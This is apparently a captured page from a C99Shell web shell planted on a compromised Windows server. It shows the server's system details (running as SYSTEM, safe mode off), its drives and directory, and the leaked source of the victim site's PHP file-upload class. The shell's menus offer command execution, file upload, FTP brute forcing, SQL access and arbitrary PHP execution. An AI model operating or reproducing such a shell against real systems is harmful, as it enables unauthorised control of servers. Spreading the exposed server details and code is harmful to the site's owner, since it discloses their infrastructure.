!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

E:\xampp\xampp\htdocs\portel_dama\administracion\clases_herramientas\   drwxrwxrwx
Free 7.95 GB of 239.26 GB (3.32%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     class_files.php (3.75 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
class archivo {
   
   function 
archivo($archivo$ancho$alto$archivo_name
   {                

                
$this->STOP 0;
    
                
// 0. Validación del nombre
                
$o 17;
                include(
'../formas/setup_constantes.php');
                
$oc 0;
                
$archivo_name_valido $archivo_name;
                foreach (
$var as $letter) {
                    
$c_1 substr_count($archivo_name$letter);
                    
$archivo_name_valido str_replace($letter,"",$archivo_name_valido);
                    
$oc $oc $c_1;
                }
                
//echo $oc;

                /// verificar si se va a poner una imagen que sea del formato
                
$o 8;
                include(
'../formas/setup_constantes.php');
                
//include('class_extender_upload.php');
                // Comprobación de formatos
                
$n 0;
                foreach (
$var as $comparacion) {
                    
$c substr_count(strtoupper($archivo_name),'.'.$comparacion);
                    if (
$c!=0) {
                        
$archivo_formato strtolower($comparacion);
                    }
                    
$n $n $c;
                }
                
                if (
$n == 0) {
                
                    
$this->STOP 1;
                    
$aviso = new aviso("El archivo parece no ser de un tipo valido, por favor confirmelo"0);
                    
$err 1;
                    
                }else{
                
                    
/// Verifica que el archivo no exista ya en la carpeta libreria
                    // Con la validación, además busca si el nombre nuevo estuviera
                    
if ($oc != 0) {
                        
$link $archivo_name_valido;
                    }else{
                        
$link $archivo_name;
                    }
                    
$n file_exists("../../libreria/".$archivo_formato."/".$link);
                    
//echo $n;
                    // Restituye el valor del archivo original
                    // $link = $archivo_name;
                    
$err 0;                    
                    if (
$n == 1) {
                    
                        
$aviso = new aviso("Al parecer existe un archivo con el mismo nombre del que usted quiere cargar, por favor renombrelo y vuelva a intentarlo."0);
                        
$this->ARCHIVO_PESO 0;
                        
$this->ARCHIVO $archivo_formato."/".$link;
                        
$err=1;

                    }else{
                    
                        
// Si es una imagen se asegura que sea legítima
                        
                        
if ($archivo_formato == "jpg" or $archivo_formato == "gif" or $archivo_formato == "swf")
                        {
                            
$size GetImageSize($archivo); 
                            
$v = isset($size[2]);
                            
                            if (
$v == false) {
                                
$this->STOP 1;
                                
$aviso = new aviso("Aunque el archivo imagen esta marcado como tal, no parece valido, intente de nuevo."0);
                                
$err 1;    
                            }else{
                                
$this->ARCHIVO_ANCHO $size[0];
                                
$this->ARCHIVO_ALTO $size[1];
                                if (
$archivo_formato == "jpg" or $archivo_formato == "gif") {
                                    if ((
$size[0] > $ancho) or ($size[1] > $alto))
                                    {
                                        
$this->STOP 1;
                                        
$aviso = new aviso("Aunque el archivo es una imagen correcta, no puede ser copiada puesto que excede el ancho o el alto máximo permitido."0);
                                        
$err 1;
                                    }
                                }
                            }
                        }else{
                                
$this->ARCHIVO_ANCHO 0;
                                
$this->ARCHIVO_ALTO 0;
                        }
                        
                        
                            if (
$err==0) {
                                
/// Se copia el archivo a la carpeta gallery
                                
if ($archivo_name != "") {
                                
                                
                                    if (
$oc != 0) {
                                        
$archivo_name $archivo_name_valido;
                                    }else{
                                        
$archivo_name $archivo_name;
                                    }
                                
                                    
$archivo_name_real $archivo_formato."/".$archivo_name;
                                    
$archivo_name "../../libreria/".$archivo_formato."/".$archivo_name;
                                    @
copy("$archivo"$archivo_name");
                                   
                                    
//or die("No se pudo cargar su archivo anexo");
                
                                
} else {
                
                                    die(
"No hay un archivo especificado");
                
                                }
                            
$this->ARCHIVO_PESO filesize($archivo);
                            
$this->ARCHIVO $archivo_name_real;
                            }
                        
                        
/// aqui termina el else se si no existe la imagen en la carpeta
                    
}
                    
// aqui termina el else de que si tenga la extension .jpg
                
}
                
$this->ARCHIVO_ERR $err;        
                
   }
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0312 ]--